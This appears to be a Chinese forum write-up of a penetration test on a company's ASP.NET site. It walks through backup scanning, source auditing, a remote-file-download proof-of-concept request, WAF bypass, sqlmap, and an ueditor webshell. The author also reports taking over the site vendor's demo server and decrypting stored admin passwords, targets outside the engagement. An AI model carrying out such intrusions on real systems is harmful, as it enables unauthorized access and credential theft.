taibeihacker
Moderator
0x00 使用关键词得到目标源码
某日上午接到臨時安排對某公司進行滲透測試,此次滲透給的是一個主域名,並且也沒有子域,打開了目標網站先對其進行一波信息收集
中間件: IIS 8.5

輸入admin發現自動添加了/
說明其目錄存在,那麼盲猜一波文件,login.aspx default.aspx main.aspx 等等

最終在login.aspx下面發現後台登錄頁面。這不猜他一波弱口令?
一頓操作過後賬號被鎖

熟悉的開局,既然如此只能嘗試其他方法了。
在主頁的html代碼中發現了某處信息

設計製作?根據後面的域名訪問過去,是一個建站公司
那麼,入手點來了。 IIS8.5+ASP.NET+建站系統
先掃一波備份文件

400多條ip這開發商還行。使用FOFA查詢工具,批量導出

然後我們來掃一下備份文件。這裡推薦我B哥的掃描器https://github.com/broken5/WebAliveScan
可以進行批量存活掃描和目錄掃描

在好幾個站下面發現web.zip備份文件。
下載下來過後,對其目標站點文件進行了對比。基本一致

0x01 拿到代码开始审计多次碰壁
那麼開始審計。
在某接口處放下敏感操作WebClient.DownloadFile (遠程文件下載)
由於該方法需要提供絕對路徑。比較頭疼,但我跟踪相關參數。發現。
在另一個方法中調用了該方法。

並傳入Server.MapPath,這根本不需要找絕對路徑了系統都給你安排好了。
那麼構造POC:
ashx/api.ashx?m=downloadfileFilePath=asmx.jpgWebUrl=http://***.cn/

訪問地址

文件存在,那麼證明可行
回到目標地址

被修復了文件不存在
繼續回到代碼中,審計其他漏洞在其他接口中,也均存在多個漏洞。如ueditor遠程抓取漏洞

文件重命名可Getshell

但是這些接口都需要登錄

這就很頭疼了,打算在一些無需登錄的接口中嘗試尋找SQL注入。
最終在某處發現SQL拼接。

但是這裡調用了IsSafeSqlString檢測

常見符號基本被卡的死死的
0x02 拿下开发商寻找通用账号逆向加解密算法
由於都是使用了相同的建站程序,懷疑有程序內置賬戶於是準備通過剛才審計出來的漏洞。從同程序的站點入手
最終在某個站點成功拿到Webshell
看了下相關信息

居然是廠商的演示站群,存了該開發商所有站點源碼。
應該是在開發過程中的演示環境吧站點有很多,估計每個客戶都有。
在服務器裡翻到了目標站點的演示網站

根目錄下有zip網站備份和sql 數據庫備份。
如果說目標站點是直接搬遷過去的,那麼後台賬戶密碼應該是一樣的。
將其SQL文件下載下來。再其中搜索相關信息

發現了插入賬戶的SQL語句。其密碼是加密過的

cmd5解不開,看了下密文是33位加密。
但是登錄過程中,密碼是RSA加密過後傳輸的,而後端居然是33位的md5加密

因為有源代碼,追踪了一下登錄了相關方法。

密碼傳入後,調用了CommFun.EnPwd進行了一次加密。
追踪EnPwd方法

可以看到,傳入進來的密碼是RSA類型,先進行了一次RSA解密,然後進行了一次DES加密。
追踪DESEncrypt.Encrypt方法。

這裡是將Encrypt方法封裝了一下,並傳入加密key。
其核心加密方法為下:

並且,在該類裡。還定義了解密方法

得到了加密方法和解密方法以及key。那麼只需要將其單獨拉出來調用就可以了。

將得到加密字符進行解密,得到結果

嘗試登錄

忙活半天,白乾了。
0x03 柳暗花明拿下目标shell
已經下午4點了。還是一無進展,準備嘗試繞過SQL過濾。就在這時候,我發現了一處SQL注入點。

某方法接收了兩個參數,卻只對一個參數進行了過濾。
在目標網站上測驗

存在註入,發現存在waf使用垃圾參數填充成功繞過waf

直接上sqlmap安心的跑,得到系統賬戶以及密文

將得到的密文進行解密,得到結果

嘗試登錄。這下總對了吧!

終於進來了!
經過之前的審計,發現了很多接口都存在漏洞,現在成功登錄了。豈不是隨便getshell?
直接ueditor帶走。

成功shell